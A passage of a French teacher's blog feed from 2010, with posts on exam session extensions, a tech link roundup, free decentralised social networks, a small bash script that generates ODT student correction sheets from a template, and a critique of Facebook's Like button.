&lt;p&gt;Traduction littérale car en Belgique, on parle plus volontiers d&amp;rsquo;un &lt;em&gt;sous-bock&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Mais vous connaissez ma timidité !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Dans mon cas d&amp;rsquo;enseignant la question ne se pose pas, c&amp;rsquo;est moi&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Comme j’abhorre ce terme qui est utilisé à hue et à dia et souvent hors contexte. Mais bref, c&amp;rsquo;est &lt;em&gt;corporate&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f8"&gt;
&lt;p&gt;Il nous parle évidement de SharePoint comme si dans le monde de l&amp;rsquo;entreprise rien n&amp;rsquo;existe d&amp;rsquo;autres, c&amp;rsquo;est dément.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f8" title="Jump back to footnote 8 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f9"&gt;
&lt;p&gt;C&amp;rsquo;est marrant car si l&amp;rsquo;on essaie de lancer des discussions, de générer des communications… sont-elles encore informelles ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f9" title="Jump back to footnote 9 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Prolongation de session, c'est pas congé</title><link href="http://blog.namok.be/2010-11-04-Prolongation-de-session-c-est-pas-conge.html" rel="alternate"/><published>2010-11-04T00:00:00+01:00</published><updated>2010-11-04T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-11-04:/2010-11-04-Prolongation-de-session-c-est-pas-conge.html</id><summary type="html">Prolongation de session, c'est pas congé</summary><content type="html">&lt;p&gt;Mercredi 3 novembre (2010), c&amp;rsquo;est congés, ce sont les vacances de la Toussaint avec la fête des morts et l&amp;rsquo;obligation d&amp;rsquo;aller au cimetière (en fait j&amp;rsquo;y vais plus depuis des années et j&amp;rsquo;aimerais que l&amp;rsquo;on m&amp;rsquo;incinère en dispersant mes cendres. Voilà ça c&amp;rsquo;est dit).&lt;/p&gt;
&lt;p&gt;En fait non, ce n&amp;rsquo;est pas congé, il faut aller à l&amp;rsquo;école pour les &lt;strong&gt;prolongations de sessions&lt;/strong&gt;. Et d&amp;rsquo;ailleurs il n&amp;rsquo;y a pas congé Jeudi ni  Vendredi. Comme quoi les profs ne sont pas toujours en congé.&lt;/p&gt;
&lt;p&gt;Ce Mercredi ce sont donc les prolongations de sessions. Petit rappel : une prolongation de session c&amp;rsquo;est la possibilité pour un étudiant de BAC3 ayant raté son examen en juin et en septembre de le représenter une fois de plus en novembre de l&amp;rsquo;année suivante, histoire de quand même recevoir son diplôme. Le décret &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; nous dit :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sous-section VIIbis. - De la prolongation de la deuxième session d&amp;rsquo;une année diplômante&lt;/strong&gt; (modifié par A.Gt 14-04-2004 ; remplacé par A.Gt 14-07-2006 ; modifié par A.Gt 28-08-2008)&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Article 11bis.&lt;/strong&gt; - Un jury prononce la prolongation de session d&amp;rsquo;un étudiant sur la base de la réussite d&amp;rsquo;un ensemble d&amp;rsquo;au moins 48 crédits pour chacun desquels il a obtenu au moins 50% des points et pour l&amp;rsquo;ensemble desquels il a totalisé au moins 60% des points pour autant qu&amp;rsquo;aucun des 12 crédits résiduels n&amp;rsquo;ait été défini comme pré-requis nécessaire à la finalisation des études.&lt;/p&gt;
&lt;p&gt;Les pré-requis nécessaires à la finalisation des études sont arrêtés annuellement par les autorités de la Haute Ecole, sur avis du Conseil de catégorie, et mentionnés dans le programme des études de l&amp;rsquo;année académique.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Voir &lt;a href="http://www.gallilex.cfwb.be/fr/leg_res_01.php?ncda=19793&amp;amp;referant=l01"&gt;http://www.gallilex.cfwb.be&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ce Mercredi, j&amp;rsquo;ai un étudiant de troisième qui doit présenter un travail en Java et je dois dire que ça m&amp;rsquo;ennuie de devoir aller à l&amp;rsquo;école &lt;em&gt;pour ça&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;— &lt;em&gt;C&amp;rsquo;est ton boulot&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On pourrait me rétorquer que l&amp;rsquo;évaluation fait partie de mon travail. C&amp;rsquo;est exact. Ce sont ces possibilités de sessions supplémentaires qui font que les gars a qui l&amp;rsquo;on donne un BAC info sont (plus ou moins &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;) compétents ou pas. Je ne cache pas que j&amp;rsquo;ai bénéficié de secondes sessions pendant mon cursus &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; et j&amp;rsquo;ai, cependant, un peu de mal avec les 3&lt;sup&gt;e&lt;/sup&gt;, 4&lt;sup&gt;e&lt;/sup&gt;… sessions.&lt;/p&gt;
&lt;p&gt;Bref, revenons au cas particulier qui nous occupe. Comme chaque fois que j&amp;rsquo;évalue un travail, je demande que l&amp;rsquo;étudiant me le remette quelques jours avant histoire de lire le code, le tester avant de venir à l&amp;rsquo;examen &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; (qui sera une défense oral du travail). Mon collègue fait de même car c&amp;rsquo;est un cours en deux partie (partie Java et partie C++).&lt;/p&gt;
&lt;p&gt;À deux jours de l&amp;rsquo;examen voici la situation. L&amp;rsquo;étudiant ne remet rien pour sa partie C++ et me remet un travail clairement incomplet et non finalisé pour la partie Java. Sans être devin, on a compris qu&amp;rsquo;il sera en échec à la cote finale. L&amp;rsquo;habitude à l&amp;rsquo;école est de ne jamais (ou rarement) faire de commentaire sur les choix des étudiants et sur leur attitude. Un peu comme si on voulait à tout prix les &lt;strong&gt;respecter&lt;/strong&gt; ce qui fait que nous (mon collègue et moi) nous sommes déplacés pour un seul étudiant venant pour l&amp;rsquo;un faire une cote de présence et pour l&amp;rsquo;autre défendre un travail trop peu finalisé. Nous sommes venu avec le sourire comme si tout cela est normal.&lt;/p&gt;
&lt;p&gt;Et je me pose des questions, je voudrais me resituer par rapport à mon job;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Est-ce que l&amp;rsquo;attitude de cet étudiant est normale ?&lt;/li&gt;
&lt;li&gt;Est-ce qu&amp;rsquo;il est normal que je me déplace (ça me coûte du temps et de l&amp;rsquo;argent) dans ces conditions (par ce que &lt;em&gt;c&amp;rsquo;est mon boulot&lt;/em&gt;) ?&lt;/li&gt;
&lt;li&gt;À l&amp;rsquo;inverse est-ce de l&amp;rsquo;orgueil de trouver « gros » qu&amp;rsquo;un étudiant aie cette attitude ?&lt;/li&gt;
&lt;li&gt;Où se trouve la frontière entre le respect du prof et le respect de l&amp;rsquo;étudiant ?&lt;/li&gt;
&lt;li&gt;À quel moment faut-il resituer un étudiant en lui disant que son attitude n&amp;rsquo;est peut-être pas la bonne &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;ai rencontré l&amp;rsquo;étudiant en question avant l&amp;rsquo;examen lui faisant part de mes interrogations mais je n&amp;rsquo;ai pas eu l&amp;rsquo;impression d&amp;rsquo;être bien compris. Je pense qu&amp;rsquo;à force de &lt;strong&gt;respecter&lt;/strong&gt; les étudiants, de les laisser &lt;strong&gt;prendre leurs responsabilités&lt;/strong&gt;, de les laisser &lt;strong&gt;faire leurs choix&lt;/strong&gt;, on craint de leur dire parfois qu&amp;rsquo;il faut se réveiller, qu&amp;rsquo;avec cette manière d&amp;rsquo;aborder leurs études, il vont droit dans le mur.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Vivement Juin et le drink de remises des diplômes, le moment où l&amp;rsquo;on voit nos étudiants sortants, le moment où l&amp;rsquo;on se dit que tout ça n&amp;rsquo;est pas vain.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;On dit toujours &lt;strong&gt;le&lt;/strong&gt; comme s&amp;rsquo;il n&amp;rsquo;y en avait qu&amp;rsquo;un mais bon&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;On pourrait revenir la-dessus&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;J&amp;rsquo;étais un étudiant assez moyen&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Damned, il travaillerait en dehors des heures de cours !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Même ici, sur mon blog, je n&amp;rsquo;affirme pas je suppose.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #4</title><link href="http://blog.namok.be/2010-11-04-Vrac-4.html" rel="alternate"/><published>2010-11-04T00:00:00+01:00</published><updated>2010-11-04T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-11-04:/2010-11-04-Vrac-4.html</id><summary type="html">Oracle, Sun et LibreOffice… et Big Bug Bunny, un film qui fait la pub de Blender.</summary><content type="html">&lt;p&gt;&lt;a href="http://linuxfr.org//2009/04/20/25337.html"&gt;Oracle a racheté Sun&lt;/a&gt; il y a quelques mois déjà et &lt;a href="http://linuxfr.org/2010/10/29/27524.html"&gt;LinuxFR&lt;/a&gt; nous fait un état des lieux de la situation de Java jusqu&amp;rsquo;à OpenOffice. L&amp;rsquo;occasion de se pencher sur &lt;a href="http://www.documentfoundation.org/"&gt;la fondation document&lt;/a&gt; (&lt;em&gt;Document Fundation&lt;/em&gt;) et &lt;strong&gt;LibreOffice&lt;/strong&gt; (quel vilain nom) le &lt;em&gt;fork&lt;/em&gt; de OpenOffice.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://linuxfr.org/2010/10/29/27523.html"&gt;LinuxFR&lt;/a&gt; (encore lui) le dit, le passage à l&amp;rsquo;IPV6 &lt;em&gt;va se faire&lt;/em&gt;. Ça fait pas mal d&amp;rsquo;années que l&amp;rsquo;on en parle, on ne parvient pas trop à s&amp;rsquo;y mettre parce que ça bouscule nos habitudes… mais il est (peu être) temps de &lt;a href="http://livre.g6.asso.fr/index.php/Main_Page"&gt;relire la théorie&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;iPad c&amp;rsquo;est bien mais c&amp;rsquo;est vachement fermé, je préfère Android… et justement pour 400€, on peut obtenir une tablette Toshiba, la &lt;a href="http://www.lesnumeriques.com/tablette-10-toshiba-folio-100-vente-videos-news-16355.html"&gt;Folio 100&lt;/a&gt; (heu… pour Noël peut-être). En parlant de tablette, il y avait l&amp;rsquo;&lt;a href="http://dai.ly/axDZtF"&gt;ardoise tactile&lt;/a&gt; mais il semble que c&amp;rsquo;était une campagne virale pour la &lt;a href="http://ardoisetactile.com/"&gt;Samsung Galaxy Tab&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Si vous voulez organiser un &lt;strong&gt;concours&lt;/strong&gt;, rien de plus simple avec &lt;a href="http://kontestapp.com/fr/"&gt;Kontest&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Je teste aussi le plugin &lt;strong&gt;Vkontakte&lt;/strong&gt; pour Rhythmbox qui permet de télécharger (et trouver) des musiques sur le net sans passer par des sites de download tels Rapidshare et Megaupload ni par du P2P, bref du direct download vraiment direct. &lt;/p&gt;
&lt;p&gt;Point de vue réseaux sociaux et &lt;em&gt;Smartphone&lt;/em&gt;, il faut que je teste &lt;a href="http://lassaadpage.com/129-tweetdeck-et-hootsuite-disponibles-gratuitement-dans-android-market"&gt;TweetDeck&lt;/a&gt; sur &lt;em&gt;Smartphone&lt;/em&gt; (car sur le laptop ça ne me tente pas du tout). Moi, je n&amp;rsquo;utilise pas les &lt;a href="http://pisani.blog.lemonde.fr/2010/10/19/facebook-encore-un-scandale-synthese/#xtor=RSS-32280322"&gt;applications FB&lt;/a&gt; et vous ? &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;avais regardé Elephant Dreams et n&amp;rsquo;avais pas trop aimé. J&amp;rsquo;ai regarde &lt;a href="http://www.bigbuckbunny.org/"&gt;Big Buck Bunny&lt;/a&gt; et regardé et regardé encore avec les enfants, &lt;strong&gt;on a super bien aimé&lt;/strong&gt;. Il me reste à regarder &lt;a href="http://www.sintel.org/"&gt;Sintel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Et pour conclure sur l&amp;rsquo;utilisation du net en 2010, je cite &lt;a href="http://pisani.blog.lemonde.fr/2010/11/04/linternet-est-partout-maintenant/#xtor=RSS-32280322"&gt;Pisani&lt;/a&gt;, vous êtes potentiellement 5 fois plus nombreux à lire ce blog (on peut rêver).  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(…) la totalité des internautes en l’an 2000 correspondent à peine aux deux tiers des membres de Facebook aujourd’hui.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Merci à &lt;a href="http://linuxfr.org/"&gt;LinuxFR&lt;/a&gt;, &lt;a href="http://korben.info/"&gt;Korben.info&lt;/a&gt;, &lt;a href="http://lassaadpage.com/"&gt;Lassaad&amp;rsquo;page&lt;/a&gt; et &lt;a href="http://pisani.blog.lemonde.fr/"&gt;Pisani&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Un reseau social libre, une utopie ?</title><link href="http://blog.namok.be/2010-10-13-Un-reseau-social-libre-une-utopie.html" rel="alternate"/><published>2010-10-13T00:00:00+02:00</published><updated>2010-10-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-10-13:/2010-10-13-Un-reseau-social-libre-une-utopie.html</id><summary type="html">Où je (re)parle de « only facebook »</summary><content type="html">&lt;p&gt;&lt;a href="http://facebook.com/"&gt;Facebook&lt;/a&gt; est &lt;strong&gt;le&lt;/strong&gt; réseau social par excellence, c&amp;rsquo;est lui le &lt;em&gt;leader&lt;/em&gt;. Je suis utilisateur de FB et mon principal soucis est le &lt;em&gt;only facebook&lt;/em&gt; (dont &lt;a href="/2010/09/03/Je-ne-mettrai-pas-de-like-bouton-sur-mon-blog.html"&gt;j&amp;rsquo;ai déjà parlé&lt;/a&gt;), Je pense qu&amp;rsquo;il faut lutter contre cette tendance à ne plus exister sur le web si l&amp;rsquo;on n&amp;rsquo;a pas de compte FB.&lt;/p&gt;
&lt;p&gt;Avant j&amp;rsquo;entendais à la radio ou via mes amis des infos du style :&lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;ai écrit un article sur mon blog.&lt;br&gt;
— Vous retrouverez cette info sur notre site web.&lt;/p&gt;
&lt;p&gt;maintenant, j&amp;rsquo;entend :&lt;/p&gt;
&lt;p&gt;— Va voir mon profil FB&lt;br&gt;
— Vous retrouverez cette info sur la page FB de l&amp;rsquo;émission 
— …&lt;/p&gt;
&lt;p&gt;Et c&amp;rsquo;est bien quand &lt;a href="http://www.rtbf.be/purefm/"&gt;Pure FM&lt;/a&gt; pour ne pas la citer a commencer à diffuser ce genre d&amp;rsquo;infos que je me suis rendu compte de l&amp;rsquo;importance qu&amp;rsquo;a pris FB. Certains de mes étudiants ne savent plus envoyer un mail (un bon vieux mail) et pense qu&amp;rsquo;un mail est un « mail FB ». Bon, c&amp;rsquo;est pas grave, on va les éduquer ;-)&lt;/p&gt;
&lt;p&gt;Je suis content de découvrir que je ne suis pas le seul à penser comme ça et des initiatives naissent afin de lutter, non pas contre la suprématie de FB, mais contre sa politique de confidentialité et la non existence en dehors de FB (&lt;em&gt;only facebook&lt;/em&gt;, vous commencez à connaitre l&amp;rsquo;expression).&lt;/p&gt;
&lt;p&gt;Le projet &lt;a href="http://fr.readwriteweb.com/2010/05/06/a-la-une/projet-diaspora-anti-facebook/#comment-17296"&gt;Diaspora&lt;/a&gt; tout à fait naissant (encore aucune ligne de code n&amp;rsquo;est écrite) tend à « contrer » FB en proposant le même genre d&amp;rsquo;outil version &lt;em&gt;libre&lt;/em&gt;. C&amp;rsquo;est bien mais,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ça ne répond pas à ma crainte &lt;em&gt;only facebbok&lt;/em&gt; car l&amp;rsquo;on risque de générer un &lt;em&gt;only diaspora&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;ce genre de copie a beaucoup de mal à s&amp;rsquo;installer car les fonds étant moindre et les gadgets jugés inutiles non proposés ceci ne permet pas d&amp;rsquo;évincer le ténor (je pense à &lt;a href="http://identi.ca/"&gt;Identi.ca&lt;/a&gt; versus &lt;a href="http://twitter.com/"&gt;Twitter&lt;/a&gt;, &lt;a href="http://jabber.org/"&gt;Jabber&lt;/a&gt; versus MSN, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je préfère le projet &lt;a href="http://www.movim.eu/"&gt;MOVIM&lt;/a&gt; qui tente de proposer une plateforme décentralisée. L&amp;rsquo;idée étant que je reste maître des infos que je partage puisque c&amp;rsquo;est moi qui les stocke (elles ne sont pas détenues / cédées à une société tierce).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le projet MOVIM (pour &lt;em&gt;My Open Virtual Identity Manager&lt;/em&gt;) vise à créer une plateforme sociale complète, opensource et totalement décentralisée dans le plus grand respect de ses utilisateurs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ce projet est un projet à suivre via leur &lt;a href="http://planet.movim.eu/"&gt;planet&lt;/a&gt; par exemple.&lt;/p&gt;</content></entry><entry><title>Script createODT permettant la création de fichiers ODT en masse</title><link href="http://blog.namok.be/2010-10-04-Script-createODT-permettant-la-creation-de-fichiers-ODT-en-masse.html" rel="alternate"/><published>2010-10-04T00:00:00+02:00</published><updated>2010-10-04T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-10-04:/2010-10-04-Script-createODT-permettant-la-creation-de-fichiers-ODT-en-masse.html</id><summary type="html">Automatisation de la création de fiche de retour d'évaluation avec OpenOffice.</summary><content type="html">&lt;p&gt;J&amp;rsquo;utilise &lt;a href="http://openoffice.org/"&gt;Openoffice&lt;/a&gt; pour faire des &lt;strong&gt;fiches de correction individuelles&lt;/strong&gt; pour mes étudiants. Ces fiches contiennent mes remarques sur les exercices faits (ou pas) et un récapitulatif des cotes.&lt;/p&gt;
&lt;p&gt;Un étudiant a accès à sa fiche quand il le désire et la conserve pendant tout son cursus et moi je mets à jour au fur et à mesure. Rien de bien exceptionnel, j&amp;rsquo;ai sans doute plein de collègues qui font le même genre de chose.&lt;/p&gt;
&lt;p&gt;Ce qui est assez (chiant) répétitif c&amp;rsquo;est de devoir créer une fiche par étudiant en début d&amp;rsquo;année; je veux utiliser un style (donc un modèle), insérer la photo de l&amp;rsquo;étudiant, ses nom et prénom… (c&amp;rsquo;est lourd)… &lt;/p&gt;
&lt;p&gt;Il y a un moment où il faut arrêter de cliquer sur &lt;em&gt;&amp;ldquo;Nouveau document&amp;rdquo; / Insérer photo, éditer le nom…&lt;/em&gt; et où il faut écrire un p&amp;rsquo;tit script qui fait le boulot :-)&lt;/p&gt;
&lt;p&gt;Pour info donc le format &lt;strong&gt;odt&lt;/strong&gt; est en fait une archive &lt;strong&gt;zip&lt;/strong&gt; qui contient &lt;em&gt;tout le merdier&lt;/em&gt; (le contenu, les styles, les images, etc.). Donc si je crée un document &lt;code&gt;MODELE.ott&lt;/code&gt; que je le dézippe, que je change l&amp;rsquo;image, que je change le prénom, le nom et que je rezippe (sous un autre nom), c&amp;rsquo;est bon.&lt;/p&gt;
&lt;p&gt;À coup de &lt;code&gt;dezip&lt;/code&gt; et de &lt;code&gt;sed&lt;/code&gt;, on obtient un script permettant d&amp;rsquo;écrire&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;createODT&lt;span class="w"&gt; &lt;/span&gt;Juste&lt;span class="w"&gt; &lt;/span&gt;Leblanc&lt;span class="w"&gt; &lt;/span&gt;ALG3ir&lt;span class="w"&gt; &lt;/span&gt;/elsewhere/tasvutatete.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et je suis content. J&amp;rsquo;ai perdu 2h pour en gagner moults ensuite.&lt;/p&gt;
&lt;p&gt;Le script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;#!/bin/bash
#
# Script permettant de créer des fichiers ODT sur base d&amp;#39;un modèle. 
# 
# Le script remplace la photo, le prénom, le nom et le nom du cours
# Voir le fichier MODELE-FICHE.ott
#
# Author Pierre &amp;#39;Pit&amp;#39; Bettens (pbettens(à)heb.be)

# Config
FILE=&amp;quot;/elsewhere/fiches/MODELE\_FICHE.ott&amp;quot;
BASENAME=&amp;#39;MODELE\_FICHE.ott&amp;#39;
YEAR=&amp;#39;2010-2011&amp;#39;
FROMDIR=$(pwd)

TMP=/tmp/odt
if \[ -d $TMP \] ; then 
    rm -fr $TMP
fi  
mkdir ${TMP}

# Check params
if \[ ! $# -eq 4 \] ; then 
    echo &amp;#39;Args missing&amp;#39;
    echo &amp;#39;Snopsis: createODT &amp;lt;fist name&amp;gt; &amp;lt;name&amp;gt; &amp;lt;course&amp;gt; &amp;lt;picture&amp;gt;&amp;#39;
    exit
fi
FIRSTNAME=$1
NAME=$2
COURSE=$3
PICTURE=$4
if \[ ! -e $PICTURE \] ; then 
     echo &amp;quot;I can&amp;#39;t find file&amp;quot; $PICTURE
     exit
fi

# Check if file model exist
if \[ ! -e  $FILE \] ; then
     echo &amp;#39;File missing&amp;#39;
     echo &amp;#39;I would like manage this file&amp;#39;  $FILE
     exit
fi
cd $TMP
unzip $FILE -d $TMP
sed &amp;quot;s/Prénom/$FIRSTNAME/&amp;quot; content.xml | \\r
     sed &amp;quot;s/NOM/$NAME/&amp;quot; | \\r
     sed &amp;quot;s/AAAA-AAAA/$YEAR/&amp;quot; | \\r
     sed &amp;quot;s/COURS/$COURSE/&amp;quot; &amp;gt; contentTMP.xml
mv contentTMP.xml content.xml
# I must use odt filename
PICTUREFILE=\`ls Pictures\`
cp $PICTURE Pictures/$PICTUREFILE
zip -r $FIRSTNAME$NAME.odt \* 
mv $FIRSTNAME$NAME.odt $FROMDIR
rm -fr $TMP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content></entry><entry><title>Je ne mettrai pas de like bouton sur mon blog</title><link href="http://blog.namok.be/2010-09-03-Je-ne-mettrai-pas-de-like-bouton-sur-mon-blog.html" rel="alternate"/><published>2010-09-03T00:00:00+02:00</published><updated>2010-09-03T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-09-03:/2010-09-03-Je-ne-mettrai-pas-de-like-bouton-sur-mon-blog.html</id><summary type="html">Je ne mettrai pas de like bouton sur mon blog</summary><content type="html">&lt;p&gt;&lt;img alt="Facebook stamp 'Like'" src="/images/facebook_like.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ces jours-ci fleurissent des boutons &lt;em&gt;Like&lt;/em&gt; (J&amp;rsquo;aime) sur pas mal de sites (le dernier étant celui de &lt;a href="http://sexactu.com/"&gt;Maïa&lt;/a&gt; et ça fait couler beaucoup d&amp;rsquo;encre). De prime abord &lt;strong&gt;je n&amp;rsquo;aime pas&lt;/strong&gt; mais ai-je des arguments autres que d&amp;rsquo;invoquer &lt;em&gt;big brother&lt;/em&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;img alt="facebook-jaime-like-2.jpeg" class="center" src="/images/facebook-jaime-like-2.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;Les commentaires sur &lt;a href="http://www.sexactu.com/2010/09/02/eloge-de-la-vulgarite/"&gt;l&amp;rsquo;article de Maïa&lt;/a&gt; me confirment que ce boutons &lt;strong&gt;n&amp;rsquo;est pas si innocent que ça&lt;/strong&gt;. En fait, peut-on le comparer au bouton permettant le partage d&amp;rsquo;un article ?&lt;/p&gt;
&lt;p&gt;Pour ceux qui ne suivent pas bien, &lt;strong&gt;qu&amp;rsquo;est ce que le &lt;em&gt;bouton Like&lt;/em&gt;&lt;/strong&gt; ? &lt;/p&gt;
&lt;p&gt;&lt;img alt="facebook-like.jpg" class="left" src="/images/facebook-like.jpg"&gt; &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est bien la petite main qui permet de dire si on aime un article ou pas. C&amp;rsquo;est assez excitant et on a tous envie de l&amp;rsquo;apposer sur son blog… dans l&amp;rsquo;espoir de générer du trafic.&lt;/p&gt;
&lt;p&gt;Qu&amp;rsquo;en dit FB ?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Like button lets a user share your content with friends on Facebook. When the user clicks the Like button on your site, a story appears in the user&amp;rsquo;s friends&amp;rsquo; News Feed with a link back to your website.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://developers.facebook.com/docs/reference/plugins/like"&gt;Facebook&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;C&amp;rsquo;est donc un moyen simple et efficace &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; de diffuser son article :-)… aux seuls utilisateurs de FB :-( &lt;strong&gt;Un point&lt;/strong&gt; en plus pour le &lt;em&gt;only facebook&lt;/em&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Quid de ceux qui charge la page et qui n&amp;rsquo;ont pas de compte FB ?&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;on peut se dire &lt;em&gt;I don&amp;rsquo;t care&lt;/em&gt; puisque je n&amp;rsquo;ai pas de compte mais certains estiment qu&amp;rsquo;un navigateur laisse une empreinte (&lt;a href="https://panopticlick.eff.org/"&gt;vous pouvez faire le test&lt;/a&gt;). Ils pensent, et je n&amp;rsquo;ai pas d&amp;rsquo;avis tranché sur la question, que cette empreinte permet de conserver des informations de navigation jusqu&amp;rsquo;à ce que l&amp;rsquo;on puisse trouver une relation entre l&amp;rsquo;empreinte en question et un utilisateur. À ce moment là, la navigation n&amp;rsquo;est plus anonyme &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When your Web page represents a real-world entity, things like movies, sports teams, celebrities, and restaurants, use the Open Graph protocol to specify information about the entity. If you include Open Graph tags on your Web page, your page becomes equivalent to a Facebook page. This means when a user clicks a Like button on your page, a connection is made between your page and the user. Your page will appear in the &amp;ldquo;Likes and Interests&amp;rdquo; section of the user&amp;rsquo;s profile, and you have the ability to publish updates to the user. Your page will show up in same places that Facebook pages show up around the site (e.g. search), and you can target ads to people who like your content.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://developers.facebook.com/docs/reference/plugins/like"&gt;Facebook&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;À partir du moment où l&amp;rsquo;on appose se bouton sur son site, la page — voire le site — fait partie intégrante de FB. Elle devient une page FB… c&amp;rsquo;est peut-être toujours aussi excitant.&lt;/p&gt;
&lt;p&gt;Certains n&amp;rsquo;aiment pas&lt;/p&gt;
&lt;blockquote&gt;
